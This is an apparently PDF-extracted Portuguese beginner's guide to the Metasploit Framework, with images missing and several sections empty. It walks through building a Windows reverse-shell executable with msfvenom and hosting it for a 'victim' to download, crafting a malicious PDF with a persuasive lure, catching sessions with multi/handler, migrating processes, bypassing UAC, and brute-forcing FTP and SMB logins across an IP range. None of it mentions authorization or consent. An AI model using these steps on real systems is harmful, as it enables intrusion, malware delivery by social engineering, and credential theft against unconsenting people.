Metasploit Framework - Guia Básico
Metasploit Framework - Guia Básico
Metasploit Framework - Guia Básico
SOBRE O LIVRO:
Esse livro é para guiar pessoal que acabou de começar a estudar
Pentest e quer aprender sobre a ferramenta Metasploit.
Ops: Não pense que aprender a usar o Metasploit ou outra
ferramenta vai te tornar um Hacker pois isso tudo exige bastante
estudo.
CONTEÚDO:
Ela foi escrita a um tempo então alguns conteúdos podem estar
desatualizados, mas nada que o nosso bom e velho amigo GOOGLE
para nos auxiliar.
1
Conceitos:
1- Oque é Metasploit
2- Instalação e Atualização
3- Resolvendo Erro no Banco de dados
4- Definições
5- Comandos Msfconsole
Exploração:
6- Comprometendo a Maquina Windows XP
7- Comandos Do Meterpreter
8- Introdução ao MSFVENOM
9- Comprometendo a Maquina Windows 7 e 10
10- Criando Um PDF Malicioso
11- Criando Um Arquivo EXE Malicioso a partir de um Existente
12- Comprometendo Um Dispositivo Android
Pós Exploração:
13- Migrando Um Processo Para o Outro
14- Introdução ao Prompt de Comando
15- Escalação de Privilégio
16- Usando Módulo Auxiliares
2
CONCEITOS
Oque é Metasploit?
O Metasploit Framework (MSF) é muito mais do que apenas uma
coleção de explorações. É uma infra-estrutura que você pode construir e
utilizar para suas necessidades personalizadas. Isso permite que você
se concentre em seu ambiente único e não precise reinventar a
roda. Considero que o MSF é uma das ferramentas de auditoria mais
úteis e gratuitas disponíveis gratuitamente para profissionais de
segurança. A partir de uma ampla gama de explorações de grau
comercial e um extenso ambiente de desenvolvimento de exploração,
todo o caminho para ferramentas de coleta de informações de rede e
plugins de vulnerabilidades web, o Metasploit Framework oferece um
ambiente de trabalho verdadeiramente impressionante.
O projeto Metasploit foi criado em 2003 por HD Moore e é uma
plataforma que permite a verificação do estado da segurança dos
computadores existentes numa determinada rede, permitindo atacar as
falhas de segurança existentes nos mais diversos softwares. Este é o
melhor conjunto de ferramentas para exploração, sendo atualizadas
diariamente com as mais recentes falhas de segurança identificadas por
profissionais no ramo. Esta “framework” open source, está em constante
transformação, é programada em Ruby e está organizada em diversos
módulos. São estes módulos que contêm os programas preparados
especificamente para tirarem partido de vulnerabilidades encontradas
nos softwares e sistemas operacionais, permitindo assim a execução de
código malicioso e consequentemente a invasão da máquina.
Versões:
Metasploit Express: Teste de Intrusão por linha de comando
Geralmente utilizado em pequenas e médias empresas $ 5,000
Metasploit PRO: Versão do Metasploit Profissional, Pago!
Aproximadamente $ 11,000
Metasploit Community Edition: Versão gratuita do Metasploit Pro $
0,00
Armitage: Uma interface grafica que não foi criada pelos criadores do
Metasploit
3
Instalação e Atualização
Instalação no Linux:
1. Abra o terminal
Sistemas 64 bits:
wget http://downloads.metasploit.com/data/releases/metasploit-latestlinux-
x64-installer.run
Sistemas 32 bits:
wget http://downloads.metasploit.com/data/releases/metasploit-latestlinux-
installer.run
Sistemas 64 bits:
chmod +x /path/to/metasploit-latest-linux-x64-installer.run
Sistemas 32 bits:
chmod +x /path/to/metasploit-latest-linux-installer.run
Sistemas 64 bits:
sudo /path/to/metasploit-latest-linux-x64-installer.run
Sistemas 32 bits:
sudo /path/to/metasploit-latest-linux-installer.run
4
6. Aceite os Termos e clique em Avançar (Forward).
5
9. Quando a janela Desativar antivírus e Firewall for exibida, verifique se
sua máquina não possui antivírus Aplicativos de software ou firewall
em execução. Clique em Avançar quando estiver pronto.
6
12. Clique em Avançar para continuar. A instalação começa.
7
4. Depois de criar uma conta de usuário, aparece a página Ativar
Metasploit. Digite a chave de licença que você recebeu do
Rapid7 no campo Chave de produto.
Instalação Windows:
1. Visite http://windows.metasploit.com/metasploitframework-
latest.msi para baixar o instalador do Windows.
8
3. Quando a tela Configuração for exibida, clique em Avançar para
continuar.
9
5. Procure o local onde deseja instalar o Metasploit Framework. Por
padrão, o framework está instalado no C:\ Metasploit-
framework. Clique em Avançar para continuar.
6. Clique em Instalar .
10
Resolvendo Erro no Banco de dados
Erro na conexão do banco de dados do metasploit Linux
solução:
Service postgresql stop
Msfdb reinit
Service postgresql start
Msfconsole
Db_rebuild_cache = Espere 10 a 15 Minutos e depois
Relload_all
11
Definições
12
Comandos Msfconsole
MSFConsole: Console do metasploit para facilitação de ataques
Sintaxe: msfconsole
Opções Básicas:
? – Apresenta o menu de ajuda
Back – Volta um nível
Banner – Apresenta o Banner do Metasploit
Cd – Altera o diretório corrente do Metasploit
Color - Altera a cor do metasploit
Connect – Conecta com outro Host
Edit – Edita o módulo corrente
Exit – Sair do console
Go_pro – Inicia o Metasploit em tela gráfica
Grep – Filtra a saída do comando
Help – Apresenta o menu de ajuda
Info – Apresenta informações sobre um ou mais módulos
Irb – Interpretador de comando Ruby
Jobs – Visualização e gerenciamento de tarefas
Kill – Eliminador de tarefas
Load – Carregador de Framework Plugin
LoadPath – Adicionar caminhos aos módulos
Makerc – Salvar comandos executados desde a inicialização para o arquivo
especificado
Popm – Apresenta o último módulo fora da pilha e o ativa, sem alterar o
módulo em execução
Previous – Define o módulo carregado anteriormente como o módulo atual
Pushm – Empurra os módulos ativos para a pilha
Quit – Sair do console
Reload_all – Recarrega todos os módulos
Resource – Carrega os comandos armazenados em um arquivo
Route – Rotear o tráfego através de uma sessão
13
Save – Armazena os dados ativos
Search – Procura módulos por nomes e/ou descrições
Sessions – Alterna entre sessões Set – Seta um valor à uma variável
Setg – Seta um valor à uma variável global
Show – Apresenta módulos de um determinado tipo ou todos os módulos
Sleep – Não faz para durante um número especificado de segundos
Spool – Apresenta no console o conteúdo de um arquivo
Threads – Multiplica o número de requisições/ataques
Unload – Descarregar um framework plugin
Unset – Limpar dados de variáveis
Unsetg – Limpar dados de variáveis globais Use – Seleciona um módulo pelo
nome
Version – Apresenta as versões do framework e o número de bibliotecas
14
EXPLORAÇÃO
Comprometendo Windows XP
Vamos começar?
1- Digite no seu terminal “msfconsole” (sem as aspas)
15
5- Sete o seu IP
16
Comandos do Meterpreter
17
Introdução ao MSFVENOM
msfvenom é uma combinação de Msfpayload e Msfencode , colocando essas
duas ferramentas em uma única instância do Framework. msfvenom substituiu
msfpayload e msfencode a partir de 8 de junho de 2015.
18
Comprometendo a Máquina Windows 7 e 10
Agora que já comprometemos uma Máquina Windows XP que tal comprometer
uma Máquina Windows 7 ou 10?
Não iremos usar um exploit como foi usado para comprometer uma Máquina
Windows XP que está na rede, mas vamos usar o MSFVENOM para criar um
Payload e fazer uma Conexão Reversa, como assim?
Usando o Msfvenom vamos gerar um executável malicioso ao qual a vitima irá
baixar é a mesma coisa de um RAT (Remote Acess Trojan) que basicamente
quando a vitima clica-se no executável ela fosse infectada e o atacante
conseguisse fazer qualquer coisa, Deletar, Roubar e Inserir, arquivos ou um
keylogger para capturar tudo o que a vítima digita.
Chega de Enrolação e vamos para prática!! (Primeiro vou digitar passo a passo
e depois mostro como fica o comando completo)
Primeiro vamos gerar o nosso executável malicioso
No terminal digite:
Msfvenom (Seria a Ferramenta)
-p (Payload)
Caso queira ver os payloads existentes de um --list payloads no nosso caso
vamos usar o mesmo payload que usamos para comprometer a máquina
Windows XP então digite:
-p Windows/meterpreter/reverse_tcp
(Reverse tcp seria pra fazer uma conexão reversa, ou seja a vítima ao abrir o
executável ela se conectaria com você, já ja você entenderá)
Agora vamos estabelecer o IP ao qual a vítima irá se conectar ou seja, o IP do
atacante, então digite:
LHOST=”SEU IP”
Agora vamos estabelecer a PORTA que vamos abrir ao qual a vítima irá se
conectar.
LPORT=”PORTA” (padrão é 4444)
Agora vamos definir o formato então digite
-f exe
Agora vamos salvar o arquivo, no meu caso vou jogar no meu servidor
Apache2 que vem por padrão no Kali Linux então eu coloco
> /var/www/html/payload.exe
19
Vamos ver o Comando Completo?
Depois disso de um Enter e ele vai dar essa mensagem caso esteja tudo ok.
Agora vamos setar o nosso IP ao qual a vítima irá fazer a conexão, então
digite:
set LHOST “IP”
20
Agora vamos setar a porta que digitamos no MSFVENOM no meu caso foi a
4444 então digite:
Com isso ele vai esperar a vítima baixar o payload e executar, então espere a
vítima cair na sua Engenharia Social, e como vou saber se ela executou ou
não? Quando aparecer essa mensagem aqui.
21
Criando Um PDF Malicioso
Então conseguimos comprometer uma máquina Windows 7 e 10 com um
Executável, mas dependendo do estado de segurança do Windows da vítima
um Executável não adiantaria, mas podemos invadir com outro método usando
o Adobe PDF por meio de um exploit, vamos ver?
Então vamos usar o grep -i pdf “search” e jogar a palavra chave
“exploit/Windows/fileformat” (sem as aspas)
22
Então perceba:
Ele diz que a versão 8 e 9 está vulnerável e ainda diz os sistemas operacionais
que são Windows XP SP3, Windows Vista e 7
Então vamos a exploração:
Antes sete o payload eu vou usar o meterpreter então eu vou digitar:
Set payload Windows/meterpreter/reverse_tcp
Agora eu digito o LHOST e o LPORT por padrão já vem 4444 e vou manter
assim.
Agora vamos ver as opções que esse exploit nos fornece, então eu digito show
options para me mostrar
23
Perceba que ele pede EXENAME ou Nome do Executável mais não é
Requerido ou seja, não é obrigatório.
FILENAME por padrão ele gera o evil.pdf mas tu pode mudar pro nome que
quiser.pdf
INFILENAME por padrão é aquele template de pdf mas tu pode pegar um
existente e substituir para que fique mais difícil da vítima desconfiar.
LAUNCH_MESSAGE é a mensagem que aparece quando ela for abrir o PDF,
eu recomendo trocar para um mensagem em que convença a vítima a abrir.
Vamos para prática:
Vou começar renomeando o pdf, então de set FILENAME “nome que deseja”
Vou mudar o arquivo também mas não é obrigatório eu vou usar um pdf
qualquer.
Usarei essa mensagem mas é lógico que não vai convencer muitos
principalmente quem não é de TI.
Agora eu dou um exploit e ele vai gerar o pdf e no meu caso ele vai jogar na
pasta /root/.msf4/local
24
Antes de você mandar o seu pdf para vítima não se esqueça de configurar o
exploit genérico, então digite “back” para sair do exploit
.
Pronto! Quando ela abrir você vai receber a conexão com Meterpreter e agora
é só Brincar!
25
Criando Um Arquivo EXE Malicioso a partir de um
Existente
Depois de gerar o nosso trojan, antes de mandar para vítima faça o processo
do multi/handler então digite:
Msfconsole
Use multi/handler
Set payload Windows/meterpreter/reverse_tcp
26
Set lhost “ip”
Set lport “porta que colocou, no meu caso é a 2222”
Exploit
E agora é só esperar a vítima clicar e você receberá a conexão com
meterpreter.
27
Comprometendo Um Dispositivo Android
28
PÓS EXPLORAÇÃO
Migrando Um Processo Para o Outro
Agora vamos entrar com conteúdo de pós-exploração. Então agora eu vou
ensinar como migrar um processo para o outro, como assim? Os processos
são softwares que estão rodando em seu computador, tanto em primeiro plano
como em segundo plano, um payload a ser executado ele abre um processo,
então se a vítima encerrar esse processo você perderá a conexão com a
máquina, mas se migrarmos um processo a vítima poderá fechar o processo do
payload que você não perderá a conexão. Vamos ver na pratica.
Então depois de comprometer a máquina da vítima e obter a sessão no
Meterpreter, vamos digitar o seguinte comando:
PS = Listar os Processos Ativados
29
Perceba na Imagem que temos o explorer.exe e ele não é uma “Autoridade de
Sistema” e perceba que o meu “PAYLOAD” é a mesma coisa, e perceba que
marquei o numero 1244 do explorer.exe que seria o numero do processo,
então por esse numero vamos migrar. Vamos ver? Então digite:
Migrate “numero do processo” no meu caso é o 1244 do explorer.exe
30
Introdução ao Prompt de Comando
Para uma pós exploração legal precisamos conhecer o Prompt de Comando ou
MS-DOS do (WINDOWS), então vamos conhecer alguns comandos e dar uma
brincada.
Comandos:
Dir = lista os diretórios
Deltree = apaga pastas com subpastas e todos os arquivos
Shutdown = permite desligar o computador local ou remoto
Systeminfo = Dá informações do sistema
Tasklist = mostra a lista de processos
Taskkill = fecha algum processo exemplo: taskkill /pid “numero do
processo”
Whoami = mostra as permissões que você possui
Ipconfig = exibe as configurações de Ip, gateway e mascara de sub-rede
CD = Navega em diretórios
Start = Inicia alguma aplicação
MKDIR = cria um novo diretório
RMDIR = remove um diretório
31
Escalação de Privilégios
Vamos usar alguns módulos auxiliares para nos ajudar com a pós exploração,
e primeiramente vamos escalar nossos privilégios. No meterpreter digite:
Background para sair da sessão, e digite search bypassuac e vai aparecer os
seguintes resultados:
32
E Perceba que temos uma sessão aberta, então pegue o ID e digite: set
SESSION “numero da sessão” antes disso perceba que no target vai está
Windows x86 ou seja 32 bits, caso o sistema da vítima for x64 de um show
targets
Elevai abrir em seguida uma nova sessão no meterpreter, caso não entre
automaticamente digite: sessions -i “ID DA NOVA SESSÃO”
Depois disso digite:
33
MÓDULOS AUXILIARES
Vamos ver agora alguns módulos para auxiliar na sua pós exploração, vou
apresentar 3 módulos mesmo, coisa básica.
1- FTP SCAN
Module options:
34
2- FTP LOGIN
35
Agora você pode configurar o Endereço IP Alvo, PASS_FILE e USER_FILE
msf auxiliary(ftp_login) > set RHOSTS 192.168.69.50-254
RHOSTS => 192.168.69.50-254
msf auxiliary(ftp_login) > set THREADS 205
THREADS => 205
msf auxiliary(ftp_login) > set USER_FILE userlist.txt
USER_FILE => userlist.txt
msf auxiliary(ftp_login) > set PASS_FILE passlist.txt
PASS_FILE => passlist.txt
msf auxiliary(ftp_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(ftp_login) > run
36
3- SMB LOGIN
Agora vamos fazer um ataque de força bruta encima do SMB.
Então vamos usar:
Module options:
37
STOP_ON_SUCCESS false yes Stop guessing when a
credential works for a host
THREADS 1 yes The number of concurrent
threads
USERPASS_FILE no File containing users and
passwords separated by space, one pair per line
USER_FILE no File containing usernames,
one per line
VERBOSE true yes Whether to print output for
all attempts
38
Para quem leu até aqui eu agradeço, o livro
foi básico como eu disse não foi algo bem
sério tá mais para algumas dicas em PDF,
mas prometo que nos próximos vou
melhorar.
39